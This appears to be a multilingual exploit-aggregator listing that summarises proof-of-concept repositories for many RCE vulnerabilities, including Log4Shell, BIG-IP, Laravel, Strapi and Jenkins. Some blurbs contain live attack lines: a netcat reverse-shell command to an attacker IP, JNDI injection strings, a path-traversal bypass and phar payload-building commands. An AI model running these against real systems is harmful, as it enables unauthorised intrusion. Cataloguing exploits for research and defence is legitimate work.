CVE-2023-30258-RCE-POC

CVE-2023-30258-RCE-POC POC für CVE-2023-30258-RCE von n0o0b Verwendung root@kitploit: usage: poc.py -h -u URL -c CMD example. python poc.py -u http://10.10.69.34/mbilling --cmd "nc -c sh 10.21.126.163 8888" options: -h, --help show this help message and exit -u URL, --url URL Target URL -c CMD,...

CVE-2019-19609-POC-Python

Das Skript versucht, das Passwort auf das in der Variable "updatedpass" deklarierte zurückzusetzen. Bei Erfolg gibt es ein JWT-Token von Strapi aus und verwendet es, um Befehle auszuführen. Das Ausführen von Bind-Befehlen funktioniert nicht, es sei denn, man sendet ein Reverse-Shell-Payload, mit...

CVE-2021-44228-Demo

CVE-2021-44228-Demo Esempio di iniezione remota di codice tramite RMI e LDAP sfruttando CVE-2021-44228. root@kitploit: Exploit class from RMI Server loaded Hello, $jndi:rmi://127.0.0.1:1099/exploit Exploit class from LDAP Server loaded Hello, $jndi:ldap://127.0.0.1:1389/org.mazhuang.ldap.Exploit...

CVE-2020-5902

CVE-2020-5902 BIG-IP RCE Atualização: use /hsqldb%0a/ para contornar regras de desserialização Java ou /hsqldb%b /hsqldb; root@kitploit: /tmui/login.jsp/..;/hsqldb Redirect 404 / bypass /hsqldb; Redirect 404 / bypass /hsqldb%0a include 'FileETag MTime Size Redirect 404 / Redirect 404 / ' fix:...

PoC-CVE-2017-3881

PoC-CVE-2017-3881 Cisco Catalyst Remote Code Execution PoC Questo repository contiene il codice Proof-of-Concept per sfruttare la vulnerabilità di esecuzione remota di codice divulgata da Cisco Systems il 17 marzo 2017 -...

PoC-CVE-2017-0199

PoC-CVE-2017-0199 Toolkit di exploit per la vulnerabilità RCE di Microsoft RTF. Informazioni su questa vulnerabilità: https://errorcybernews.com/2017/04/11/microsoft-word-zero-day/...

r2s

R2S - React2Shell Scanner Ein webbasierter Schwachstellenscanner für CVE-2025-55182 , eine kritische Remote-Code-Ausführung RCE Sicherheitslücke in React Server Components. Live-Scanner: https://r2s.mxm0z.com Über CVE-2025-55182 CVE-2025-55182 ist eine kritische CVSS 10.0 Sicherheitslücke im Reac...

laravel-exploits

laravel-exploits Exploit for CVE-2021-3129 Details: https://www.ambionics.io/blog/laravel-debug-rce Usage root@kitploit: $ php -d'phar.readonly=0' ./phpggc --phar phar -o /tmp/exploit.phar --fast-destruct monolog/rce1 system id $ ./laravel-ignition-rce.py http://localhost:8000/ /tmp/exploit.phar...

laravel-exploits

laravel-exploits Exploit per CVE-2021-3129 Dettagli: https://www.ambionics.io/blog/laravel-debug-rce Utilizzo root@kitploit: $ php -d'phar.readonly=0' ./phpggc --phar phar -o /tmp/exploit.phar --fast-destruct monolog/rce1 system id $ ./laravel-ignition-rce.py http://localhost:8000/...

CVE-2024-47076

CUPS Common UNIX Printing System, il sistema di stampa dei sistemi Linux e Unix, è un servizio che riguarda la gestione della stampa su questi sistemi e la distribuzione dei compiti tra i dispositivi. Su questo servizio è stata divulgata una vulnerabilità di sicurezza denominata CVE-2024-47076...

CVE-2026-6433

CVE-2026-6433 — प्रमाण-अवधारणा FlipperCode — Custom CSS, JS & PHP · अप्रमाणित SQL इंजेक्शन → RCE eval के माध्यम से प्रभावित: FlipperCode Custom CSS, JS & PHP ≤ 2.0.7 · WordPress प्लगइन सतह admin-ajax.php के माध्यम से एक नज़र में...

ASUS-AiCloud-RCE

Origasus origasus.go ile derlenen, ASUS AiCloud / AsusWRT ile ilişkilendirilebilecek uçların yetkili güvenlik testi veya savunma analizi ör. kendi cihazınız, yazılı penetest laboratuvarı kapsamında incelenmesi için yazılmış bir Go programıdır. Önemli: Bu tür yazılımların yetkisiz sistemlere karşı...

PrintNightmare

PrintNightmare यह एक प्रोजेक्ट है जो विंडोज सुरक्षा उल्लंघन PrintNightmare! CVE-2021-34527 से लड़ने में मदद करेगा। आपको पता होना चाहिए कि माइक्रोसॉफ्ट ने इस उल्लंघन के खिलाफ एक पैच जारी किया है, लेकिन यह पूरी तरह से कार्यात्मक नहीं है और केवल RCE रिमोट कोड निष्पादन से लड़ता है, जबकि LPE स्थानीय...

Exploit-PoC-para-CVE-2024-30085

🚨 Exploit-PoC für CVE-2024-30085 Proof-of-Concept-Exploit für die Schwachstelle zur lokalen Privilegienausweitung CVE-2024-30085. Nur für Bildungszwecke und Sicherheitsforschung. ⚠️ Rechtlicher Hinweis AUSSCHLIESSLICH ZU BILDUNGSZWECKEN ✅ Autorisierte Sicherheitsforschung ✅ Kontrollierte Labore ✅...

CVE-2024-23897

CVE-2024-23897 Jenkins CI: lettura arbitraria di file autenticata tramite la CLI che porta all'esecuzione remota di codice RCE Jenkins è uno strumento DevOps open source autonomo di automazione software per l'integrazione continua/la distribuzione e l'implementazione continua CI/CD, scritto nel...

CVE-2022-41828

CVE-2022-41828 Amazon AWS Redshift JDBC-Treiber Remote Code Execution RCE Der Amazon JDBC-Treiber für Redshift ist ein Type 4 JDBC-Treiber, der Datenbankkonnektivität über die standardmäßigen JDBC-Anwendungsprogrammierschnittstellen APIs bereitstellt, die in der Java Platform, Enterprise Edition...

CVE-2018-20250

exp per Estrarre l'esecuzione di codice da Winrar poc di Ridter Come si usa? ti basta installare Python 3.7, preparare un file malevolo da eseguire, impostare i valori che vuoi, questo script exp genererà automaticamente il file archivio malevolo! 1. imposta i valori che vuoi root@kitploit:...

CVE-2022-22980

CVE-2022-22980 Spring Data MongoDB SpEL-Ausdrucks-Injektion MongoDB ist eine dokumentenorientierte NoSQL-Datenbank, die skalierbar und flexibel ist und für die Speicherung großer Datenmengen verwendet wird. Anstatt wie bei den traditionellen relationalen Datenbanken Tabellen und Zeilen zu...

CVE-2021-21975

CVE-2021-21975 VMware vRealize Operations Manager API Server Side Request Forgery SSRF vRealize Operations vROps è uno strumento che offre una gestione autonoma delle operazioni IT basata sull'intelligenza artificiale, dalle applicazioni all'infrastruttura, per ottimizzare, pianificare e scalare ...

CVE-2021-21972

CVE-2021-21972 VMware vSphere Client Upload di File Non Autorizzato per l'Esecuzione di Codice Remota RCE Il vSphere Web Client HTML5 è essenzialmente un'interfaccia amministrativa che consente la gestione di un'installazione vSphere. Il vSphere Client fornisce a un amministratore l'accesso alle...